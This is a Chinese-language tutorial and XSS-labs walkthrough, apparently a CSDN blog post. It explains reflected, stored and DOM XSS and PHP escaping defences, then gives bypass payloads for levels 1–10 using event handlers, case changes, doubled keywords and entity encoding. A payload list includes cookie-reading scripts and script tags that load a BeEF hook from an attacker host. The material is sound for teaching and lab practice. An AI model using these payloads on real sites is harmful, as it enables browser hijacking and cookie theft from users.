XSS-labs

XSS
定义

XSS 即(Cross Site Scripting)中文名称为:跨站脚本攻击。XSS的重点不在于跨站点,而在于脚本的执行。那么XSS的原理是:恶意攻击者在web页面中会插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌入到web页面中script代码会执行,因此会达到恶意攻击用户的目的。

实施XSS攻击需要具备两个条件:

1.需要向web页面注入恶意代码;

2.这些恶意代码能够被浏览器成功的执行

XSS分类:反射型、存储型、及 DOM-based型

其中反射型、DOM-based 型可以归类为非持久型 XSS 攻击,存储型归类为持久型 XSS 攻击。

发射型

通过web站点漏洞,向客户端交付恶意脚本代码,实现对客户端 的攻击。
攻击目标: web客户端
(主要是利用客户端浏览器来运行恶意脚本)
主要脚本语言: javascript
条件:

    服务器对用户提交数据过滤不严格
    web站点能够返回用户输入的 数据(脚本)
    脚本在客户端执行恶意操作
 

反射型XSS又称非持久性跨站点脚本攻击,它是最常见的XSS攻击类型。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接

存储型

原理:存储型xss是hacker向服务器注入一段js代码,代码存储到服务器的数据库中,每当用户访问服务器当中带有js代码的数据时,服务器将响应用户,返回给用户一个带有js代码页面

存储型XSS又称为持久性跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久XSS攻击危害更大,因为每当用打开页面,查看内容时脚本将自动执行

常用的JavaScript方法

    alert                     用于显示带有一条指定消息和一个确认按钮的警告框。

    window.location  用于获得当前页面地址的地址,并把浏览器重定向到新的页面。

    onload                一张页面或一幅图像完成加载。

    onsubmit            确认按钮被点击。

    onerror               在加载文档或图像时发生错误

常用的HTML标签

标签 应用

Iframe:iframe元素会创建包含另外一个文档的内联框架(行内框架)。

Textarea: textarea标签定义多行的文本输入控件。

Img: img元素向网页中嵌入一副图像。

Script: script标签用于定义客户端脚本,比如JavaScript。script元素既可以包含脚本语句,也可以通过src属性指向外部脚本文件。必需的type属性规定脚本的MIME类型。JavaScript的常见应用是图像操作、表单验证以及动态内容更新。

构造XSS脚本

    弹窗警告

    用此脚本实现弹窗提示,一般作为漏洞测试或者演示使用,类似sql注入中的单引号’,一旦此脚本能执行,也就意味着后端服务器没有对特殊字符做过滤,这样就可以证明这个页面位置存在XSS漏洞。

    <script>alert('xss')</script>

    <script>alert(document.cookie)</script>

    页面嵌套

    <iframe src=http://www.baidu.com width=300 height=300></iframe>

    <iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

    页面重定向

    <script>window.location="http://www.baidu.com"</script>

    <script>location.href="http://www.baidu.com"</script>

    弹窗警告并重定向

    <script>alert("请移步至新网站");location.href="http://www.baidu.com"</script>

    <script>alert('xss');location.href="xxxxxxxx"</script>

    访问恶意代码

    <script src="http://www.baidu.com/xss.js"></script>

    <script src="http://BeEF_IP:3000/hook.js">

    巧用图片标签

    <img src="#"alert('xss')>

    <img src="javascript:alert('xss');">

    <img src="http://BeEF_IP:3000/hook.js"></img>

DOM-based 型

客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等

防范xss

1.利用 php htmlentities()函数对传入参数的非法的 HTML 代码包括单双引号等进行转义。但是,中文情况下, htmlentities() 却会转化所有的 html 代码,连同里面的它无法识别的中文字符也给转化了。

2.利用 php htmlspecialchars()函数对传入参数的非法的 HTML 代码包括单双引号等进行转义,需要注意的是第二个参数默认是 ENT_COMPAT,函数默认只是转化双引号("),不对单引号(')做转义。更多的时候要加上第二个参数,应该这样用 : htmlspecialchars($string,ENT_QUOTES)对单双引号都进行转义。如果需要不转化任何的引号第二个参数使用ENT_NOQUOTES。

3.通过正则表达式过滤传入参数的html标签来防范XSS攻击

XSS-labs
level1(url中get传参—JS弹窗函数alert())

通过get传参然后显示在页面,可以判断是反射型xss,而且没有做任何过滤,可直接在url中最后面加入代码

网页源代码

从php代码中可以看到name是一个参数可以get传参

在script内,如果alert函数被调用执行,则会弹出警示框,重定向到level2

这里虽然没有输入框,但是在url内,将name=后面的参数改为我们想要的,页面也会随之改变

在url上写一个弹窗脚本

payload:<script>alert()</script>

由于alert()被调用并且执行,window.location.href进行重定向

level2(闭合绕过)

理应执行后跳出弹窗,这里输入的内容可能被过滤

去扒一下源码发现了一个没见过的东西 htmlspecialchars($str)

htmlspecialchars($str)的作用是:把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体;

把 < 和 > 转换为实体常用于防止浏览器将其用作 HTML 元素,当用户有权在您的页面上显示输入时,对于防止代码运行非常有用

HTML实体编码https://www.cnblogs.com/wd404/p/17332181.html

几乎所有标签都支持html解码,包括title和textarea。

但是在html注释中不会解码,在script标签的内部也不会解码,在meta等头部标签中是否解码已经不重要,不影响,也不便查看确认。

        命名字体:以&开头,以分号结尾。列如“<”的编码是“&lt;”

        字符编码:十进制,十六进制ASCII码或者Unicode字符编码,样式为“&#数值;”,如“<”可以编码为“&#060;”和“&#x3c;”

源代码<input name=keyword  value=""<script>alert()</script>"">

<input name=keyword value=""> 这是一个完整的标签 我们写的东西放进去会被双引号变成字符串

假如我们传进去一个>,那这个标签就变成了<input name=keyword value=">">, 这样我们就有两个后尖括号了,他会优先和前面那个括号闭合,我们输入的内容换成">1,那这个标签就变成了<input name=keyword value=''">1">,这个1就在引号外面了,就绕过引号的限制了

但是在input标签的value处,没有将我们输入的内容进行严格过滤,所以手动闭合value,再执行脚本

这里有两个输入点,从url输入或者从value输入  

payload:"><script>alert()</script>"

level3(单引号onfocus/onBlur事件绕过 onclick )

这边依旧是如果script内的alert函数被调用,则跳转第四关

试一下<script>alert()</script>   发现value输入的内容也进行了过滤

看网页源代码发现有引号

试一下'><script>alert()</script>' 发现尖括号被实例化

假设我们在这里构造了一个事件,由于当事件发生时,可以执行 JavaScript,比如当用户点击一个 HTML 元素时,就会从事件处理程序中调用函数

用onlcik构造一个payload

onclick事件:当按钮被点击时执行Javascript代码

eg:要鼠标点击 点我,才会输出Hello World

payload:/level3.php?keyword='οnclick=javascript:alert(1)//’

然后点击value(网页的输入框) onclick才会执行

onFocus/onBlur事件

onFocus事件就是当光标落在文本框中时发生的事件。

onBlur事件是光标失去焦点时发生的事件。

onBlur事件与onfocus事件-CSDN博客

总体思路就是,直接改造你的原有结构,赋予搜索按钮不同的用途。

'οnfοcus=javascript:alert()//' 或者  'οnfοcus=javascript:alert('x') '

它陷入了一个死循环,点击输入框,输入框获得焦点,触发alert,这个时候输入框失去焦点,但是点击确定以后输入框就又获得了焦点,又再次弹出。

'onbulr=javascript:alert()//'   或者  'onbulr=javascript:alert('x') '

(onblur需先回车使url执行脚本,任意切换一个网页再切回来,再点击搜索才会执行成功)

注意onfocus和onbulr在此处的命令中 f 和 b 大小写均可

level4(双引号onfocus/onBlur事件绕过)

输入脚本后点击搜索,可以看到<>直接被过滤了

看一下php代码

str_replace() 函数

举例:

代码当中显示先将变量捕获,替换<>为空字符,再利用htmlspecialchars函数“净化”。那就还是上一关的姿势,只不过上一关当中注释是用的单引号,这一关换双引。

evel3

evel4

payload:keyword="οnblur=javascript:alert()//"

对evel3和evel4小结:不论是<>被实例化,还是被过滤,都可以用onfcous/onblur/onclick事件绕过

level5(href标签构建)

试一下第一关的脚本:<scr_ipt>alert()</script>

扒一下php代码

两个替换 把script跟on拆了... ...有效地避免了恶意注入

strtolower() 函数

举例:


继续尝试看看能否闭合,我们输入单引号,双引号,<,>,\进行尝试,发现只有'被实体转义。那应该就是可以使用"来构造闭合
再然后,我发现它是把<script 过滤了,也就意味着只要不是<script 开头 就不会被过滤,这时候该上js伪协议,location js伪协议还用不了,因为过滤了on

引入新的知识点

a-href标签法

href属性的意思是 当标签<a>被点击的时候,就会触发执行转跳,可以是转跳到一个网站,还可以触发执行一段js代码

"> <a href=javascript:alert('x')>xxx</a> " 点击xxx实行页面的跳转

level-6(大小写绕过)

第六关虽然有$str6=str_replace("href","hr_ef",$str5);替换,但是没有了strtolower() 函数,所以我们可以用大小写绕过,也就是将href写为Herf

payload:"> <a Href=javascript:alert('x')>xxx</a> "

level-7(关键字复写绕过)

扒php代码

从php代码可以看到第七关有strtolower() 函数会全部转换为小写,并且将script,on,scr,date,herf都替换为了null

注意!!!

它的检测过滤只有一次,所以我们可以关键字复写绕过

payload:"> <a hrhrefef=javascscriptript:alert('x')>xxx</a> "

level-8(href隐藏属性绕过)

看php代码 知道它犬奴转换为小写,许多替换将各种关键字打乱,还有双引号标签实体化

当我们输入内容的时候,value的内容会直接带入href,,触发友情链接的时候,就会执行带入的参数 ,但我们输入的script被过滤了

试了上一关的复写绕过也被过滤了

引入新的知识点

href的一个隐藏的属性,href在调用openurl传参时会自动进行解码,那我们就将script编码

尝试利用unicode编码进行绕过

javascript:alert('x')

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#39;&#41;

level9(href隐藏属性绕过)

扒一下php代码

在php代码中看到了false===strpos($str7,'http://')

strpos()函数

PHP 判断字符串中是否包含另一个字符串

举例

我们只要在输入的脚本中包含http://即可

payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

因为script被过滤了,所以我们将javascript:alert(1)编码 Unicode接着用//衔接上http://

http://需放在javascript的后面,放在前面的话伪协议实现不了

主要还是http绕过,第九关又比第八关难一点

level0(猜解参数名)

发现没有输入框

扒php代码,看到有两个变量

type=“hidden”:隐藏域

不显示在页面上,可随表单一起提交给后端

根据源码猜解传参的参数名,搜了一下表单type属性可知,隐藏的input标签可以插入type="text"显示

回到源码

在源码中有一个隐藏的表单。

其中含有t_link t_history t_sort这样三个隐藏的<input>标签,意味着是三个参数,判断哪一个标签能够被突破

构造语句

<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"

有一个<input>标签的状态改变了。这个标签就是名

t_sort的<input>标签,之前都是隐藏状态,但是通过构造参数响应发现只

有它里面的值被改变了。

出现了输入框

payload:t_sort='"οnblur="alert(/1/)" type="text" //

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值